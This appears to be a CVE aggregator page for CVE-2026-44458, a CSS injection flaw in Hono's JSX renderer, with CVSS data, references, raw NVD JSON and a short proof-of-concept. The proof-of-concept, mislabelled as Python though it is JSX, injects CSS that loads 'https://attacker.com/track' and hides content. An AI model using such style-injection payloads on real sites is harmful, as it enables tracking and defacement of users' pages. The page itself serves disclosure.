CVE-2026-44458

Description

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, the JSX renderer escapes style attribute object values for HTML but not for CSS. Untrusted input in a style object value or property name can therefore inject additional CSS declarations into the rendered style attribute. The impact is limited to CSS and does not allow JavaScript execution or HTML attribute breakout. This vulnerability is fixed in 4.12.18.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:* - VULNERABLE

Hono < 4.12.18

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Vulnerable Component Example
// Assuming Hono JSX renderer < 4.12.18

function UserProfile({ userStyle }) {
  return (
    <div style={userStyle}>
      User Content
    </div>
  );
}

// Malicious Input constructed by attacker
// The semicolon in the value allows injecting additional CSS rules
const maliciousPayload = {
  color: "red",
  // Injecting background image and overriding display
  width: "100px; background: url('https://attacker.com/track'); display: none;"
};

// Render logic (simplified)
// Result: <div style="color: red; width: 100px; background: url('https://attacker.com/track'); display: none;">User Content</div>
// This demonstrates the injection of arbitrary CSS.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44458
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44458
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44458/
[4] VulDB https://vuldb.com/cve/CVE-2026-44458
[5] https://github.com/honojs/hono/security/advisories/GHSA-qp7p-654g-cw7p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44458", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.837", "lastModified": "2026-05-13T18:32:16.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, the JSX renderer escapes style attribute object values for HTML but not for CSS. Untrusted input in a style object value or property name can therefore inject additional CSS declarations into the rendered style attribute. The impact is limited to CSS and does not allow JavaScript execution or HTML attribute breakout. This vulnerability is fixed in 4.12.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.12.18", "matchCriteriaId": "5AB1A6FC-8475-4A23-9E63-46F3E6C5D264"}]}]}], "references": [{"url": "https://github.com/honojs/hono/security/advisories/GHSA-qp7p-654g-cw7p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}